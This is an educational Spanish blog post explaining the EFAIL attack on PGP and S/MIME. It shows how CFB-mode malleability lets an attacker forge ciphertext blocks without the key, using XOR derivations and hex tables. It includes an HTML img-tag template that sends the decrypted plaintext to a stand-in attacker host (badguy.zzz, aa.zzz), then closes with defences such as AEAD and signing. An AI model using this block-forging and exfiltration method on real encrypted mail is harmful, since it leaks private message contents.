EFAIL: Maleabilidad en sistemas de cifrado simétrico

 

En el post anterior sobre Efail (https://www.s21sec.com/es/blog/2018/05/efail-esta-pgp-realmente-muerto/) hablamos sobre el riesgo que entraña que PGP utilice un algoritmo de cifrado “malleable”. Pero, ¿qué quiere decir esto?

La segunda entrada de la definición de “maleable” que incluye la Real Academia Española es sorprendentemente aplicable a este caso: “Que se le puede dar otra forma sin romperlo”. En este post vamos a ver cómo es posible modificar un texto cifrado de tal modo que podamos darle otra forma (es decir, que se descifrará a un texto más o menos controlado por nosotros) sin necesidad de romperlo (o lo que es lo mismo, sin necesidad de conocer la clave), algo que en ciertos casos nos permitirá que el propio receptor del mensaje lo descifre por nosotros.

Ante todo hay que entender que los algoritmos de cifrado de bloques (como se utilizan en PGP) normalmente no se usan directamente, debido a que por su naturaleza, el resultado de cifrar un texto con la misma clave devuelve siempre el mismo texto cifrado. Esto permite a un atacante detectar patrones en el mensaje cifrado que se corresponden con patrones similares en el texto original. Para evitarlo, se llevan a cabo operaciones adicionales para incluir características específicas en el texto cifrado. Las operaciones a realizar se definen en una serie de “modos de operación”.

El modo usado en las operaciones de cifrado de PGP es CFB (para S/MIME es CBC que, aunque es diferente, tiene el mismo problema que veremos a continuación para CFB). En el caso de CFB, el proceso de descifrado es bastante extraño. Cada bloque de texto cifrado pasa por un XOR junto con el bloque de texto cifrado anterior, cifrado de nuevo con la clave (sí, irónicamente, el descifrado en modo CFB no usa el descifrado AES, sino de nuevo el cifrado). El resultado de esta operación XOR es el texto original. Como el primer bloque de texto cifrado del mensaje, por definición, no tiene un bloque anterior, se utiliza un vector de inicialización (IV o “initialization vector”) en su lugar. Este valor se envía en claro. El siguiente gráfico ha sido extraído del artículo de Wikipedia sobre los modos de operación en inglés (https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation):

Una cosa que puede verse del gráfico anterior es que el descifrado correcto de un bloque de texto cifrado dado sólo depende de sí mismo y del bloque cifrado anterior. Si este bloque anterior es el esperado, el bloque actual se descifrará correctamente. En este contexto el “bloque anterior” del primer bloque cifrado es el IV. Esto implica que si cogemos dos bloques consecutivos de un mensaje cifrado y los copiamos en cualquier punto del mensaje, al menos el segundo bloque se descifrará correctamente (siempre que usemos la clave correcta, claro está).

El siguiente paso es demostrar que este modo de operación es maleable y cómo podemos usarlo para extraer información del mensaje cifrado. Si interceptamos un mensaje PGP cifrado encontraremos (entre otros) los siguientes datos:

  • El mensaje cifrado con una clave simétrica
  • La clave simétrica, cifrada con la clave pública (RSA, ElGamal…) del receptor
  • El vector de inicialización IV, sin cifrar.

El receptor es capaz de descifrar la clave simétrica porque posee la clave privada correspondiente, y con esta clave simétrica y el vector de inicialización, puede descifrar el mensaje cifrado. Pero un atacante no dispone de la clave privada, y sin la clave simétrica no debería ser capaz de descifrar el mensaje aunque conozca el vector de inicialización.

Sin embargo, hay algunas operaciones que el atacante puede realizar sin necesidad de conocer la clave simétrica. Para comprobarlo, trabajaremos con openssl, que permite el cifrado AES-CFB, y cuya salida es más fácil de manipular y ver los resultados que usando S/MIME o PGP. Primero, seleccionaremos un texto para cifrar. Por ejemplo, las primeras frases de “Moby Dick” en inglés:

Generamos información aleatoria y la guardamos en un fichero a partir del cuál openssl derivará la clave que usará para cifrar el mensaje. Estos datos no se enseñarán en los siguientes ejemplos, para demostrar que su conocimiento no es necesario para llevar a cabo los ataques.

Como valor de IV usaremos un valor de 16 bytes de longitude fácil de identificar. Esta información es conocida para el atacante, por lo que usar un valor realmente aleatorio solo complicaría los ejemplos (que no el ataque en sí) más adelante en el post. Con la clave y el IV podemos finalmente cifrar el mensaje.

En este caso le pedimos a openssl específicamente que no utilice “salt” (-nosalt). Esta NO es una forma segura de utilizar el comando “enc”, pero es más parecido a la forma de actuar de PGP y S/MIME, en la que se especifica una clave (en vez de generarse a partir de información almacenada en un fichero, como es el caso de “enc”).

Si volcamos el fichero, podemos ver el contenido del mensaje cifrado:

En caso de haber pedido a openssl que usara “salt”, este valor se habría incluido en el propio fichero, lo que habría complicado un poco más la comprensión del ataque (aunque no su ejecución). La salida del programa “xxd” alinea convenientemente la salida en líneas de 16 bytes, lo que es una suerte para nosotros. Como el tamaño de bloque para AES-128-CFB es de exactamente 16 bytes (128 bits), en este caso cada línea corresponde a un bloque cifrado, lo que facilita la comprensión del ejemplo. Incluso, si usamos “xxd” en el mensaje original podemos ver la partición del mensaje original en bloques, ya que como hemos dicho cada línea se corresponde con un bloque diferente:

Podemos usar openssl de nuevo para comprobar que el texto cifrado se descifra al texto esperado:

Asumamos ahora que el atacante quiere modificar el mensaje. El único requisito, como veremos, es que conozca el contenido de un bloque completo del mensaje original. Esto, que puede parecer complicado, se ve facilitado por el hecho de que en muchos casos los mensajes cifrados mediante PGP comienzan con una serie de cabeceras más o menos constantes, de modo que sabiendo cuál era el programa que se usó para crear el mensaje cifrado se puede calcular el contenido original de los primeros 16 bytes del mensaje (un bloque entero). En este caso asumiremos que el atacante sabe que el mensaje empieza con el texto “Call me Ishmael.” (exactamente 16 bytes, la primera línea del resultado de “xxd” para el mensaje original).

Volviendo al diagram del proceso de descifrado de CFB, el primer bloque de texto descifrado (al que llamaremos P1) se obtiene cifrando el IV y aplicando un XOR con el primer bloque de texto cifrado (al que llamaremos C1). Por tanto:

P1 = E (IV) ⊕ C1

Donde E(IV) es el resultado de cifrar el IV (un valor que el atacante conoce) con la clave simétrica (un valor que desconoce), y ⊕ es la operación XOR. Si el atacante quiere que al descifrar se obtenga un bloque de texto diferente, llamado P*1, puede simplemente modificar el primer bloque del mensaje cifrado (la primera línea del volcado hexadecimal), sustituyéndolo por un bloque C*1 modificado, tal que:

P*1 = E (IV) ⊕ C*1

Pero si no conoce la clave… ¿cómo va a poder calculary  E (IV), de modo que pueda calculary el valor que debe usar como C*1? La realidad es que no es necesario. Si aplicamos un XOR entre las dos expresiones anteriores (la parte izquierda de una con la parte izquierda de la otra, y la parte derecha de una con la parte derecha de la otra) se obtiene:

P1 ⊕ P*1 = E(IV) ⊕ C1 ⊕ E(IV) ⊕ C*1

Y cuando en una serie de operaciones XOR hay dos términos iguales (como ocurre en este caso, en que E(IV) se repite dos veces en el lado derecho) se cancelan entre sí, por lo que:

P1 ⊕ P*1 = C1 ⊕ C*1

Y si movemos C1 del lado derecho al izquierdo (al igual que en una ecuación normal se puede mover una suma al otro lado transformándolo en una resta, en caso de un XOR se mueve al otro lado como otra operación XOR):

P1 ⊕ P*1 ⊕ C1 = C*1

Teniendo en cuenta que el atacante conoce el valor de P1 (es el requisito del ataque), que conoce P*1 (es el contenido que quiere inyectar en el mensaje descifrado) y C1 porque es parte del mensaje cifrado que ha interceptado, puede realizar las operaciones XOR sobre los datos que conoce y calcular C*1, el bloque modificado que tiene que incluir en el mensaje cifrado.

Vamos a probarlo. No somos grandes fans de la literature, así que tampoco somos muy fans de “Moby Dick”. Nos gustan más las películas de espías, así que vamos a sustituir el primer bloque de texto descifrado por la famosa frase “My name is Bond.”. Fijaos en que la longitud es exactamente la misma que el texto original (16 bytes).

Para el ejemplo y por sencillez, digamos que:

D1 = P1 ⊕ P*1

 Por tanto, podemos escribir la expression anterior como:

C*1 = D1 ⊕ C1

Podemos resumir los valores de los diferentes bloques en una table (P1 y P*1 se muestran tanto como caracteres como los valores ASCII correspondientes):

P1

C a l l   m e   I s h m a e l .

P1

43 61 6C 6C 20 6D 65 20 49 73 68 6D 61 65 6C

2E

P*1

M y   n a m e   i s   B o n d

.

P*1

4D 79 20 6E 61 6D 65 20 69 73 20 42 6F 6E 64

2E

D1

0E 18 4C 02 41 00 00 00 20 00 48 2F 0E 0B 08

00

C1

98 F1 30 9E 60 0B 7D F8 CE C9 1F 85 27 AC 7C

80

C*1 96 E9 7C 9C 21 0B 7D F8 EE C9 57 AA 29 A7 74

80

El bloque modificado tiene los mismos valores exactos que el original en las posiciones en las que el texto sin cifrar original y el modificado coinciden (la parte “me “, una “s” y el punto al final). Si sustituimos el primer bloque cifrado por estos valores y lo guardamos en un fichero diferente:

Donde el bloque cifrado modificado es el que aparece marcado. Si desciframos con openssl:

Hemos conseguido generar un mensaje cifrado que, tras ser descifrado, contiene un texto que controlamos, con el problema de que se corrompe el siguiente bloque (en este caso el segundo). Esto es debido a que el descifrado del segundo bloque requiere el primer bloque original justo delante, y lo hemos eliminado para incluir el bloque modificado que habíamos calculado. Pero, si recordamos el proceso de descifrado, que se descifre correctamente un bloque solo depende del bloque anterior, no de su posición real. Por tanto, podemos añadir el primer bloque justo antes del segundo, y el previo al primer bloque (es decir, el IV) delante de éste, teniendo el siguiente archivo:

Vemos que tenemos el bloque cifrado modificado, seguido por el IV y el mensaje cifrado original. Si desciframos este mensaje se obtiene:

Algo de texto que controlamos, un bloque corrupto y el texto original. Desgraciadamente (para un atacante) no es possible librarse de los bloques corruptos. Aparecen en cualquier punto en el que rompemos la continuidad de la secuencia original de bloques cifrados. En este caso, como hemos incluido el bloque modificado al principio, el bloque corrupto aparece sólo detrás de él. Sin embargo, el mismo bloque modificado puede incluirse en la mitad del texto y al final (por supuesto, siempre precedido por el IV, que es su “bloque anterior”). Por ejemplo, para el fichero

Podemos ver que hemos insertado el texto cifrado modificado en tres puntos, cada uno de los cuáles va precedido por el IV (incluso el primero ya que el IV para openssl es como el bloque 0). Descifrando obtenemos:

Vemos el texto repetido en tres sitios: al comienzo, seguido por un bloque corrupto, en la mitad, precedido por un bloque corrupto y seguido por otro, y al final, precedido por un bloque corrupto más. Si eliminamos los bloques corruptos y los que hemos insertado a propósito, seguiríamos teniendo el texto original.

Con esto hemos demostrado que es posible incluir bloques de datos que controlamos en cualquier punto del mensaje, con una limitación de longitud de 16 bytes (el tamaño de bloque) y que estará rodeado por datos corruptos. Sin embargo, hemos ido descifrando los datos en varios puntos del proceso por lo que igual no queda claro qué acciones ha ido hacienda un posible atacante y cuáles el receptor del mensaje.

El siguiente paso es intentar seguir el proceso de un atacante que intente explotar esta vulnerabilidad. Recordemos la situación. Ha interceptado un mensaje con un IV que conoce, pero la clave simétrica está cifrada con una clave pública cuya clave privada desconoce y un mensaje cifrado con la clave simétrica desconocida, del que sólo conoce el primer bloque (los primeros 16 bytes). Su objetivo es enviar un mensaje modificado que mantenga el IV y la clave simétrica cifrada de tal modo que cuando el mensaje sea descifrado por el receptor se genere automáticamente una acción que le permita extraer información sobre los datos sin cifrar.

Para remarcar que no sabe nada del mensaje original (aparte de los datos cifrados, el IV y el primer bloque original) vamos a generar una nueva clave, cifrar un nuevo mensaje y borrar el fichero original sin cifrar.

Como IV usamos el mismo que antes por simplicidad. Para generar los bloques cifrados modificados tenemos que conocer dos bloques cifrados consecutivos y el texto original del segundo de ellos. A lo largo de este post hemos asumido que el par de bloques es [ IV, C1 ] porque es más sencillo adivinar el contenido del primer bloque ya que seguramente contendrá cabeceras, pero podríamos haber hecho lo mismo con cualquier par [ Ci-1, Ci ], siempre que conozcamos Pi. En este ejemplo usaremos de nuevo la pareja [ IV, C1] así que la única información que el atacante tiene es que los primeros 16 bytes del mensaje (el bloque P1) son “For twelve thous” (otro texto en inglés… y puntos extra para el que sepa cuál es el texto a partir de ese dato).

Si volcamos el contenido del mensaje:

Y el primer bloque cifrado (aquél para el que conocemos su texto original) es el que está resaltado. Con esta información el atacante está listo para realizar el ataque.

Tras haber leído el post anterior sobre efail, vemos que el atacante va a intentar preparer un mensaje cifrado que se descifre más o menos a un mensaje HTML como el siguiente:

<html>

<body>

<img src=”http://badguy.zzz/images/[ORIGINAL_PLAINTEXT].jpg”/>

</body>

</html>

No es que “badguy.zzz” exista como dominio, pero no queríamos escoger un dominio existente por casualidad… Así que cuando el receptor descifra el mensaje, el cliente de correo realizará una petición para recuperar una imagen en un servidor controlado por el atacante. Por supuesto, esta imagen no existe, pero la petición será registrada y el atacante tendrá acceso al texto original (el mensaje sin cifrar que hemos borrado).

El mayor problema para el atacante es que sólo puede incluir bloques de 16 bytes, y debe tener en cuenta que aparecerán bloques corruptos antes y después de cada bloque que incluya. Se puede hacer, pero el mensaje es más parecido a este:

<html>

<body>

 [CORRUPT_DATA]

<img ignore=”[CORRUPT_DATA]” 

  src=”//aa.zzz/[CORRUPT_DATA][ORIGINAL_PLAINTEXT][CORRUPT_DATA].jpg”/>

[CORRUPT_DATA]

</body>

</html>

En este ejemplo no todos los bloques controlados por el atacante son de 16 bytes. En un ataque real lo serían, pero hemos eliminado o añadido espacios en blanco y saltos de línea para hacer más visible el contenido. Ha sido necesario usar un patrón URL conocido como “de protocolo relativo” porque de otra forma no había espacio suficiente para el protocolo y el nombre de host.

Por tanto, el atacante necesita en realidad 5 bloques modificados. A continuación mostramos una tabla con el texto original del bloque 1 y los 5 textos sin cifrar que queremos insertar en el mensaje malicioso:

P1

F o r   t w e l v e   t h o u s

P*1

< h t m l > \n < b o d y > \n \n

\n

P*2

< i m g   i g n o r e =    

P*3

  s r c = / / a a . z z z /
P*4 . j p g / >                

\n

P*5 < / b o d y > \n < / h t m l >

\n

Realizando las mismas operaciones que llevamos a cabo durante las pruebas, el atacante puede calcular los bloques modificados para cada uno:

C*1

EA E0 21 27 E9 9A 1F 93 E8 E2 98 F2 A0 FD 87 64
C*2 EA E1 38 2D A5 CD 72 C1 E5 FF 99 B6 BC D7 AD

4E

C*3

F4 A8 26 38 E6 99 37 80 A5 EC 9D A5 E4 8D F7 41
C*4 F8 E2 25 2D A7 8B 2B 8F AA AD DC AB BE D7 AD

64

C*5

EA A7 37 25 E1 DD 2B A5 B6 A2 94 FF F3 9B B3

64

Con estos bloques modificados y sabiendo que cada bloque modificado y el texto cifrado original deben ir precedidos por el IV se puede generar un mensaje cifrado con el siguiente contenido:

Este mensaje se enviará al receptor original, junto con el IV y la clave encriptada. El receptor descifra el mensaje y obtiene un mensaje HTML, pero lo único que ve es algo como esto:

Unos datos extraños que incluyen una imagen que no ha podido ser descargada. Pero al mismo tiempo, el atacante recibe una petición en su servidor:

De la que se puede extraer la petición en sí y ejecutar una decodificación URL para obtener el texto desconocido original:

Por tanto, incluso aunque el atacante no tenía acceso a la clave (no se ha usado unknown_message.key para nada en esta parte del post) o el texto original (aparte del primer bloque no se ha usado unknown_message.txt), ha conseguido crear un mensaje que, tras ser abierto por el receptor, ejecuta una petición a un servidor que controla el atacante, en la que se le pasa el texto original que desconocía.

El mayor problema con Efail es que es una vulnerabilidad que de por sí no surge de un único elemento de software, así que decidir de quién es la culpa se ha convertido más bien en un problema filosófico.

Por ejemplo, si el receptor usa un programa que no interpreta HTML automáticamente, es mucho más difícil para el atacante crear un mensaje simulado que el receptor quiera voluntariamente visualizarlo como HTML. Si el receptor tiene que descifrar el mensaje y visualizarlo como texto antes de decidir que quiere verlo como HTML, le parecería muy sospechosa la gran cantidad de bloques corruptos que aparecen (eso sin tener en cuenta que con un poco de vista se daría cuenta de que está el texto descifrado dentro de una URL).

El problema también se habría resuelto si PGP hubiera usado un modo de operación diferente. Existen varios modos de operación que proporcionan una característica llamada AE (Authenticated Encryption), o incluso AEAD (Authenticated Encryption with Associated Data). Estos modos incluyen durante el propio cifrado un proceso de generación de una etiqueta dependiente del contenido original. Esta etiqueta se puede usar durante el descifrado para comprobar la validez de los datos. En este caso, el atacante es incapaz de modificar los datos de ninguna forma, ya que cualquier modificación del mensaje cifrado invalida la etiqueta asociada, y el atacante es incapaz de corregir esta discrepancia sin conocer la clave. Este proceso es similar a inluir un “hash” de los datos para detectar modificaciones, pero con la ventaja de que la comprobación va implícita en el propio descifrado, dificultando los ataques de tipo oráculo. Un ejemplo de estos modos sería AES-GCM (Galois Counter Mode). Por ejemplo, TLS 1.3 requerirá que cualquier algoritmo de cifrado soportado proporcione AEAD.

Y por último, aunque no menos importante, otro método similar que habría evitado este ataque sería que quien envía el mensaje cifrado original lo firme (además de cifrarlo) y que el receptor nunca confíe en mensajes sin firmar, ni siquiera aunque parezca que viene de un conocido (simular correos sin firma es bastante simple a día de hoy). De esta forma, de un modo similar a AEAD, el programa detectaría que los datos modificados no coinciden con la firma y lo rechazaría.

En resumen, tal y como dijimos en el post anterior, no es que PGP haya sido roto. Con cierto conocimiento de cómo funciona Efail y teniendo cuidado al manejar mensajes sin firmar y sin verificar, sería bastante difícil extraer información sobre el texto original de esta forma.

Recent Posts

Leave a Comment